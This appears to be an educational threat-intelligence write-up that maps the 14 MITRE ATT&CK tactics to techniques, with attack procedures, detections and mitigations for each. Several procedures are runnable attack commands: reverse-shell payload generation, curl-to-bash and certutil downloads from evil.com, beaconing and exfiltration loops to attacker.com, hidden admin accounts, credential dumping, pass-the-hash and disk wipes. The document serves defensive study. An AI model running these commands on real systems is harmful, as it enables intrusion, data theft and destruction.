MITRE ATT&CK® Enterprise Matrix - Threat Intelligence PoC

Objective:
This document demonstrates a comprehensive Threat Intelligence Proof of Concept using the MITRE ATT&CK® Enterprise Matrix. For each of the 14 tactics, three techniques are selected with two procedures each, and a clear explanation is given to illustrate how the tactic relates to the chosen techniques and procedures. Detection and mitigation strategies are included for each tactic.

Tactic 1: Reconnaissance

Strategy: Gather information about a target to prepare for an attack.

Technique 1: Active Scanning (T1595)

The attacker probes systems directly to discover open ports, services, or weaknesses.

Procedures:

1. Scan for open ports using Nmap:

```bash
nmap -sS target.com
```

2. Detect service versions:

```bash
nmap -sV target.com
```

Technique 2: Phishing for Information (T1598)

Tricking people into giving up info through fake forms or emails.

Procedures:

1. Create a fake login page using simple HTML.
2. Send spoofed email using a tool like SocialFish or Evilginx.

Technique 3: Gather Victim Identity Info (T1589)

Finding names, roles, or emails of employees online.

Procedures:

1. Search for employees on LinkedIn with filters like "company + job title."
2. Use email-finding tools like hunter.io or Google dorks.

Tactic → Technique → Procedure:
Reconnaissance is about preparing by collecting intel. Techniques like scanning and phishing help gather details. Procedures are tools and steps to get that data.

Summary Table

Technique ID	Technique Name	Purpose
T1595	Active Scanning	Find open ports and services
T1598	Phishing for Info	Trick users into giving data
T1589	Gather Identity Info	Discover names, emails, job titles

---

Detections

- Unusual port scans (IDS/IPS alerts)
- Multiple failed logins from new sources
- Email scraping behavior

Mitigations

- Use rate limiting and CAPTCHAs

- Educate employees on phishing
- Mask employee data from public sources

Tactic 2: Resource Development

Strategy: Set up the tools and infrastructure needed for the attack.

Technique 1: Acquire Infrastructure (T1583)

Getting domains, servers, or cloud resources to use in attacks.

Procedures:

1. Register a domain name that looks similar to a real one (homograph):
   e.g., google-login.com
2. Rent a VPS (e.g., from DigitalOcean) to host malicious tools or payloads.

Technique 2: Develop Capabilities (T1587)

Create or modify malware, scripts, or exploits.

Procedures:

1. Use msfvenom to create a basic reverse shell payload:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_IP LPORT=4444 -f exe > shell.exe
```

2. Write simple credential stealer in Python (for learning/demo purposes):

```python
import getpass; print(getpass.getuser())
```

Technique 3: Obtain Capabilities (T1588)

Download or buy tools from the dark web or public sources.

Procedures:

1. Download tools like Mimikatz from GitHub (for educational testing environments).
2. Clone offensive frameworks like Empire or Cobalt Strike (trial):

```bash
git clone https://github.com/BC-SECURITY/Empire.git
```

Tactic → Technique → Procedure:
Before launching an attack, the attacker needs domains, tools, or scripts. Techniques help acquire or create those resources. Procedures show how this is done step-by-step.

Summary Table

Technique ID	Technique Name	Purpose
T1583	Acquire Infrastructure	Set up malicious servers/domains
T1587	Develop Capabilities	Build tools/payloads
T1588	Obtain Capabilities	Get tools from open or underground sources

---

Detections

- Monitoring domain registrations (typo domains)
- Traffic to rare GitHub repos or malware download links
- Usage of trial offensive tools in internal network

Mitigations

- Monitor domain spoofing of your brand

- Use allow-listed software tools
- Track unexpected downloads or developer tool usage

Tactic 3: Initial Access

Strategy: Gain a foothold into the target's environment.

Technique 1: Phishing (T1566)

Sending malicious emails or links to trick the victim.

Procedures:

1. Create a fake login page (e.g., for Gmail) using simple HTML/CSS and host it on a deceptive domain.
2. Send an email with a link to the fake page using a spoofing tool or social engineering.

Technique 2: Exploit Public-Facing Application (T1190)

Attacking web servers or apps exposed to the internet.

Procedures:

1. Use Nikto to scan a web server for vulnerabilities:

```bash
nikto -h http://target.com
```

2. Exploit a known CVE (e.g., SQL Injection on login form) using SQLMap:

```bash
sqlmap -u "http://target.com/login.php?user=admin" --dbs
```

Technique 3: Drive-by Compromise (T1189)

Victim unknowingly visits a malicious website that installs malware.

Procedures:

1. Host a malicious JavaScript file using a server like Apache or Python's SimpleHTTPServer.
2. Trick user into visiting the page via a shortened URL or fake ad.

Tactic → Technique → Procedure:
Initial Access is about getting in. Techniques like phishing or exploiting apps open that first door. Procedures detail the exact steps attackers take to get access.

Summary Table

Technique ID	Technique Name	Purpose
T1566	Phishing	Trick user into giving credentials
T1190	Exploit Public App	Use vulnerabilities in web services
T1189	Drive-by Compromise	Install malware via malicious web page

---

Detections

- Sudden unusual web requests or SQL queries
- Unfamiliar software installs
- Alerts from email filtering systems

Mitigations

- Email filtering, MFA
- Web application firewall (WAF)
- Block suspicious domains/URLs

Tactic 4: Execution

Strategy: Run malicious code on a victim system.

Technique 1: Command and Scripting Interpreter (T1059)

Using built-in shells or scripting environments to run malicious commands.

Procedures:

1. Execute commands with PowerShell:

```
powershell
Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile C:\Users\Public\shell.exe
Start-Process "C:\Users\Public\shell.exe"
```

2. Use Bash on Linux to download and run:

```
bash
curl http://evil.com/backdoor.sh | bash
```

Technique 2: Scheduled Task/Job (T1053)

Set a task to run malicious code on a schedule.

Procedures:

1. Create a Windows scheduled task:

```
powershell
schtasks /create /tn "UpdateCheck" /tr "malware.exe" /sc minute /mo 1
```

2. Use cron on Linux to execute a script every minute:

```bash
echo "* * * * * /tmp/malware.sh" >> /etc/crontab
```

Technique 3: Exploitation for Client Execution (T1203)

Exploit vulnerabilities in client software to execute code.

Procedures:

1. Embed malicious macro in Word document using MSF:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f vba
```

2. Use social engineering to get the user to enable macros and open the file.

Tactic → Technique → Procedure:
Execution is about making the payload or command run. Techniques like scripts or scheduled tasks help achieve this. Procedures show exact methods to do it.

Summary Table

Technique ID	Technique Name	Purpose
T1059	Command & Scripting	Run commands via PowerShell, Bash, etc.
T1053	Scheduled Task/Job	Run malicious code at intervals
T1203	Exploitation for Execution	Use software bugs to execute code

---

Detections

- New scheduled tasks or cron entries

- Unexpected shell execution or downloads
- Macro-enabled docs from unknown senders

Mitigations

- Disable unnecessary scripting languages
- Block macro execution
- Monitor task scheduler usage

Tactic 5: Persistence

Strategy: Maintain access even after reboots or user logouts.

Technique 1: Registry Run Keys/Startup Folder (T1547.001)

Set programs to auto-start via Windows Registry or Startup folder.

Procedures:

1. Add a registry key to auto-run malware:

```powershell
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Users\User\AppData\Local\malware.exe"
```

2. Place malware shortcut in startup folder:

```bash
evil.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
```

🎯 **Technique 2: Account Manipulation (T1098)**

Modify user accounts to retain access.

Procedures:

1. Create a hidden admin user:

```
cmd
net user backdoor Pass123 /add
net localgroup administrators backdoor /add
```

2. Modify a service account to have higher privileges or RDP access.

Technique 3: Boot or Logon Autostart Execution (T1547)

Use OS boot mechanisms to auto-run malware.

Procedures:

1. Set malicious script in Task Scheduler to run at logon:

```
powershell
schtasks /create /tn "SysUpdate" /tr "C:\malicious.ps1" /sc onlogon
```

2. Modify login scripts or Group Policy Objects (GPO) to include malware.

Tactic → Technique → Procedure:
Persistence ensures access stays open. Techniques use auto-start methods or hidden accounts. Procedures show how these are configured.

Summary Table

Technique ID	Technique Name	Purpose
T1547.001	Registry/Startup Folder	Auto-run malware at system startup
T1098	Account Manipulation	Keep access via new/modified user
T1547	Boot/Logon Autostart Execution	Execute payloads on boot or login

---

Detections

- Registry changes in Run keys
- Creation of new user accounts
- Task scheduler changes

Mitigations

- Restrict user permissions
- Audit logon scripts
- Monitor registry changes and startup folders

Tactic 6: Privilege Escalation

Strategy: Gain higher-level permissions on a system.

Technique 1: Abuse Elevation Control Mechanism (T1548)

Exploit features like “Run as Administrator” to gain privileges.

Procedures:

1. Use a script that auto-elevates privileges via UAC bypass:

```
powershell

Start-Process "cmd.exe" -Verb runAs
```

2. Place payload in a trusted location (like C:\Windows\Tasks) and execute it with auto-elevation.

🎯 **Technique 2: Exploitation for Privilege Escalation (T1068)**

Use OS or app vulnerabilities to escalate.

Procedures:

1. Run a privilege escalation exploit like CVE-2021-4034 (Polkit on Linux):

```bash
gcc pwnkit.c -o exploit
```

2. On Windows, use tools like Windows Exploit Suggester to find LPE opportunities.

Technique 3: Valid Accounts - Privileged Accounts (T1078.003)

Use credentials of admin/root accounts.

Procedures:

1. Obtain credentials via phishing or dumping, then use RDP/SSH:

```bash
ssh admin@target.com
```

2. Use a valid admin token (from token impersonation) to access restricted files or areas.

Tactic → Technique → Procedure:
Privilege Escalation gets more power. Techniques like abusing UAC or using exploits raise your control. Procedures show how it's done.

Summary Table

Technique ID	Technique Name	Purpose
T1548	Abuse Elevation Control Mechanism	Gain admin via OS tricks
T1068	Exploitation for Privilege Escalation	Exploit bugs to get root/admin
T1078.003	Valid Accounts (Privileged)	Use existing admin credentials

---

Detections

- Processes requesting UAC
- Unusual use of sudo/admin actions
- Login from non-standard accounts

Mitigations

- Apply security patches regularly
- Use least privilege principle
- Monitor credential usage and group changes

Tactic 7: Defense Evasion

Strategy: Avoid detection by security tools and defenders.

Technique 1: Obfuscated Files or Information (T1027)

Hide the true purpose of code or data.

🛠️ Procedures:

1. Encode a script using Base64:

```powershell
$code = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Invoke-WebRequest evil.com/malware.exe"))

powershell.exe -EncodedCommand $code
```

2. Rename malware with a legitimate-looking name like svchost.exe.

🎯 **Technique 2: Masquerading (T1036)**

Disguise malicious code to look like trusted software.

Procedures:

1. Rename evil.exe to chrome.exe and copy it into a known directory:

```powershell
Copy-Item .\evil.exe "C:\Program Files\Google\Chrome\chrome.exe"
```

2. Change file icon and metadata using resource editing tools (e.g., Resource Hacker).

Technique 3: Deobfuscate/Decode Files or Information (T1140)

Load hidden payloads that were encoded/packed.

Procedures:

1. Drop a base64-encoded script and decode it at runtime:

```powershell
$payload = Get-Content encoded.txt

iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))
```

2. Use tools like UPX to unpack binaries:

```bash
upx -d malware.exe
```

Tactic → Technique → Procedure:
Defense Evasion is about hiding from detection. Techniques like masquerading and encoding deceive security tools. Procedures show how attackers do it step-by-step.

Summary Table

Technique ID	Technique Name	Purpose
T1027	Obfuscated Files/Info	Encode or hide intent of scripts/binaries
T1036	Masquerading	Make malware look like legitimate software
T1140	Deobfuscate/Decode	Decode hidden payloads during runtime

---

Detections

- Base64-encoded PowerShell activity
- Unknown binaries mimicking trusted ones
- Sudden appearance of decoded scripts in memory

Mitigations

- Use application whitelisting
- Enable script-blocking policies (e.g., Constrained Language Mode in PowerShell)
- Detect file anomalies and hash mismatches

🔐 Tactic 8: Credential Access

Strategy: Steal usernames, passwords, or authentication secrets.

Technique 1: Credential Dumping (T1003)

Extract credentials from OS memory or files.

Procedures:

1. Use Mimikatz to extract Windows credentials:

```
powershell

sekurlsa::logonpasswords
```

2. Dump SAM and SYSTEM files and extract hashes:

```powershell
$ reg save HKLM\SAM sam.save

reg save HKLM\SYSTEM system.save
```

Technique 2: Brute Force (T1110)

Try multiple passwords rapidly to gain access.

Procedures:

1. Use Hydra to brute-force SSH login:

```powershell
hydra -l root -P passwords.txt ssh://192.168.1.10
```

2. Try RDP login attempts with common passwords.

Technique 3: Input Capture - Keylogging (T1056.001)

Record keystrokes to capture passwords.

Procedures:

1. Install a keylogger tool like LogKeys on Linux:

```bash
sudo apt install logkeys

sudo logkeys --start --output /tmp/log.txt
```

2. Use a script-based keylogger in PowerShell (with permission):

```powershell
Add-Type -AssemblyName System.Windows.Forms

[System.Windows.Forms.SendKeys]::SendWait("...")
```

Tactic → Technique → Procedure:
Credential Access involves stealing secrets. Techniques like dumping memory or brute-forcing expose them. Procedures show how credentials are harvested.

Summary Table

Technique ID	Technique Name	Purpose
T1003	Credential Dumping	Extract passwords from memory/files
T1110	Brute Force	Guess passwords via repetition
T1056.001	Input Capture: Keylogging	Record keystrokes to steal input

---

Detections

- Unusual registry or memory access (e.g., LSASS)
- Multiple failed logins
- Keystroke capture tools running

Mitigations

- Use strong passwords + lockout policies
- Monitor LSASS access
- Enable endpoint detection tools (EDR) with credential theft protection

---

Tactic 9: Discovery

Strategy: Learn about the system, network, and environment to plan the attack.

Technique 1: System Information Discovery (T1082)

Collect details about the operating system, hardware, or host.

Procedures:

1. Use built-in system info commands:

```bash
systeminfo
```

2. View environment variables:

```powershell
Get-ChildItem Env:
```

Technique 2: Network Service Scanning (T1046)

Scan for open ports/services on a network.

Procedures:

1. Use Nmap to scan a range:

```bash
nmap -sV 192.168.1.0/24
```

2. Scan for specific services like SSH:

```bash
nmap -p 22 --open 192.168.1.0/24
```

🎯 **Technique 3: Account Discovery (T1087)**

Enumerate user or admin accounts on the system or network.

Procedures:

1. List local users on Windows:

```
powershell
net user
```

2. On Linux, check users from passwd:

```
bash
cat/etc/passwd
```

Tactic → Technique → Procedure:
Discovery is about understanding the target. Techniques like system inspection or account listing help attackers plan. Procedures are common commands to extract this info.

Summary Table

Technique ID	Technique Name	Purpose
T1082	System Information Discovery	Learn OS, hostname, hardware, etc.
T1046	Network Service Scanning	Find running services and open ports
T1087	Account Discovery	Identify users and privileges

Detections

- Unusual use of Nmap or PowerShell inventory commands
- Access to /etc/passwd or registry keys
- Sudden enumeration of many user accounts

Mitigations

- Limit local admin rights

- Disable unnecessary services
- Monitor command execution and port scanning activity

Tactic 10: Lateral Movement

Strategy: Move through the network from one system to another.

Technique 1: Remote Services – SMB/Windows Admin Shares (T1021.002)

Use shared folders or admin shares (like C$) to move laterally.

Procedures:

1. Map a shared drive:

```
powershell
net use Z: \\192.168.1.5\C$ /user:admin password
```

2. Copy payload and execute remotely:

```
powershell
copy payload.exe Z:\Windows\Temp\
```

🎯 **Technique 2: Remote Desktop Protocol (RDP) (T1021.001)**

Access and control remote desktops.

🛠️ Procedures:

1. Connect via RDP using stolen credentials:

```
powershell
mstsc /v:192.168.1.10
```

2. Use a script to brute-force RDP access (example: xfreerdp):

```bash
xfreerdp /u:admin /p:password /v:192.168.1.10
```

Technique 3: Pass the Hash (T1550.002)

Authenticate to systems using password hashes instead of plaintext passwords.

Procedures:

1. Use Mimikatz to pass a hash:

```bash
sekurlsa::pth /user:admin /domain:corp /ntlm:<hash>
```

2. Authenticate using Impacket's psexec.py:

```bash
psexec.py -hashes :<NTLM> corp/admin@192.168.1.10
```

Tactic → Technique → Procedure:
Lateral Movement helps attackers access more systems. Techniques use remote services and credentials. Procedures show tools for RDP, SMB shares, or hash-based access.

Summary Table

Technique ID	Technique Name	Purpose
T1021.002	SMB/Windows Admin Shares	Access & copy files to remote systems
T1021.001	Remote Desktop Protocol (RDP)	Interact with GUI-based remote systems
T1550.002	Pass the Hash	Authenticate using password hashes

Detections

- Sudden use of remote shares or RDP
- Use of NTLM hash authentication
- Unexpected logins from new hosts

Mitigations

- Disable unnecessary admin shares
- Enforce strong password + account lockout
- Use LAPS & restrict RDP access via firewall

Tactic 11: Collection

Strategy: Gather sensitive files, credentials, or input for exfiltration.

Technique 1: Clipboard Data (T1115)

Access copied content from the user's clipboard.

Procedures:

1. PowerShell to read clipboard:

```powershell
Get-Clipboard
```

2. Use malicious scripts to auto-read clipboard on intervals.

Technique 2: Screen Capture (T1113)

Take screenshots of the victim's desktop to gather information.

Procedures:

1. Use PowerShell for screen capture:

```powershell
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bmp = New-Object Drawing.Bitmap 1920,1080
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen(0,0,0,0,$bmp.Size)
$bmp.Save("screen.png")
```

2. Use tools like NirCmd:

```powershell
nircmd.exe savescreenshot screen.jpg
```

🎯 Technique 3: Input Capture – Keylogging (T1056.001)

Record keyboard input to steal typed data like passwords.

🛠️ Procedures:

1. Install keylogger on Linux:

```bash
sudo apt install logkeys
sudo logkeys --start --output /tmp/logs.txt
```

2. Use PowerShell-based logger (simplified for beginners):

```powershell
[System.Windows.Forms.SendKeys]::SendWait("...")
```

Tactic → Technique → Procedure:
Collection means gathering useful information. Techniques like clipboard sniffing, screenshots, or keystrokes allow attackers to passively gather data. Procedures show simple command-line or scripting tools to do so.

Summary Table

Technique ID	Technique Name	Purpose
T1115	Clipboard Data	Steal copied sensitive content
T1113	Screen Capture	Collect images of user activity
T1056.001	Input Capture: Keylogging	Record keystrokes for secrets

---

Detections

- Frequent access to clipboard APIs
- Unusual screenshot generation
- Suspicious keylogging binaries/scripts

Mitigations

- Restrict clipboard & screen access via policies
- Monitor for screenshot and logging behavior
- Use anti-keylogger and behavior-based antivirus

Tactic 12: Command and Control (C2)

Strategy: Communicate with compromised systems to issue commands or extract data.

Technique 1: Application Layer Protocol – HTTP(S) (T1071.001)

Use standard web traffic to send or receive commands.

Procedures:

1. C2 tool using HTTPS:

```bash
./c2_client --server https://example.com --poll
```

2. PowerShell beaconing:

```powershell
while ($true) {
 Invoke-WebRequest -Uri "https://attacker.com/cmd"
 Start-Sleep -Seconds 60
}
```

Technique 2: Web Service (T1102)

Use APIs like GitHub or Google Drive for C2.

Procedures:

1. Use GitHub repo for C2 commands:
    - Store commands as repo issues or comments.
    - Malware polls the issue for commands.
2. Abuse Discord webhook:

```powershell
Invoke-WebRequest -Uri "https://discord.com/api/webhooks/..." -Method POST -Body "command_output"
```

Technique 3: Ingress Tool Transfer (T1105)

Transfer additional payloads/tools from attacker to victim machine.

Procedures:

1. Download a tool using curl or PowerShell:

```powershell
Invoke-WebRequest -Uri "http://evil.com/payload.exe" -OutFile "payload.exe"
```

2. Use CertUtil (abusing Windows binary):

```powershell
certutil -urlcache -split -f http://evil.com/payload.exe payload.exe
```

Tactic → Technique → Procedure:
C2 is about maintaining control over the compromised machine. Techniques involve using common protocols or cloud services. Procedures show how attackers mimic legit traffic to stay hidden.

Summary Table

Technique ID	Technique Name	Purpose
T1071.001	App Layer Protocol – HTTP(S)	Covert C2 via standard web traffic
T1102	Web Service	Abuse platforms like GitHub/Discord
T1105	Ingress Tool Transfer	Deliver extra tools post-compromise

---

Detections

- Abnormal HTTP/S request patterns or frequencies

- Beaconing behavior or repeated polling
- Use of certutil or Powershell for file download

Mitigations

- Limit internet access for internal systems
- Use proxy/firewall rules to restrict web traffic
- Monitor for traffic to known bad IPs/domains

Tactic 13: Exfiltration

Strategy: Steal and transfer data out of the compromised environment.

Technique 1: Exfiltration Over Web Service (T1567.002)

Use services like Dropbox or Google Drive to steal data.

Procedures:

1. Upload file to Google Drive using script or API:

```bash
gdrive upload secret.txt
```

2. Use curl to POST to Discord webhook:

```bash
curl -X POST -F "file=@data.zip" https://discord.com/api/webhooks/...
```

Technique 2: Automated Exfiltration (T1020)

Data is automatically sent out at intervals.

Procedures:

1. PowerShell loop to exfiltrate periodically:

```powershell
while ($true) {
  Invoke-WebRequest -Uri "https://attacker.com/upload" -InFile "data.zip"
  Start-Sleep -Seconds 300
}
```

2. Use cron job in Linux:

```bash
*/5 * * * * curl -F "file=@/home/user/data.txt" https://example.com/upload
```

Technique 3: Exfiltration Over C2 Channel (T1041)

Send data via existing C2 connection like HTTP or HTTPS.

Procedures:

1. Base64 encode data and send over HTTPS beacon:

```powershell
$data = Get-Content secrets.txt
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
Invoke-WebRequest -Uri "https://attacker.com/data" -Body $b64
```

2. Use a compromised GitHub repo to upload stolen data.

Tactic → Technique → Procedure:
Exfiltration involves sneaking stolen data out. Attackers often use trusted services or

protocols to disguise this activity. Procedures show real-world exfil techniques using scripts and scheduled jobs.

Summary Table

Technique ID	Technique Name	Purpose
T1567.002	Exfiltration Over Web Service	Use cloud/web service to exfiltrate
T1020	Automated Exfiltration	Steal data periodically
T1041	Exfiltration Over C2 Channel	Send data over existing C2 links

---

Detections

- Large or frequent uploads to web/cloud services
- Unusual scheduled jobs or scripts
- Exfil pattern in HTTPS requests or base64 blobs

Mitigations

- Block unsanctioned cloud/web uploads
- Monitor file transfers from sensitive machines
- Limit outbound traffic for critical systems

Tactic 14: Impact

Strategy: Manipulate, disrupt, or destroy systems, data, or availability.

Technique 1: Data Destruction (T1485)

Delete or overwrite data to cause damage.

Procedures:

1. PowerShell deletion:

```
powershell

Remove-Item -Path "C:\Users\*\Documents\*" -Recurse -Force
```

2. Linux command to overwrite and delete:

```
bash

shred -u /home/user/secrets.txt
```

Technique 2: Defacement (T1491.001)

Modify public-facing websites to spread a message or damage reputation.

Procedures:

1. Replace index.html on web server:

```
bash

echo "Hacked by XYZ" > /var/www/html/index.html
```

2. Upload defaced image to CMS like WordPress.

Technique 3: Disk Wipe (T1561.001)

Destroy the contents of a hard drive.

Procedures:

1. Windows disk wipe via PowerShell:

```
powershell

Clear-Disk -Number 0 -RemoveData -Confirm:$false
```

2. Linux wipe using dd:

```bash
dd if=/dev/zero of=/dev/sda bs=1M
```

Tactic → Technique → Procedure:
Impact techniques are used to disrupt operations or cause permanent damage. Procedures involve simple yet devastating commands to delete data or deface systems.

Summary Table

Technique ID	Technique Name	Purpose
T1485	Data Destruction	Delete user/system data
T1491.001	Defacement	Damage reputation by altering content
T1561.001	Disk Wipe	Erase entire disk drives

Detections

- Mass deletion or modification of files
- Suspicious write access to web directories
- Disk erase utilities run on endpoints

Mitigations

- Regular backups stored offline
- Monitor for unauthorized file operations
- Protect public-facing apps with strict access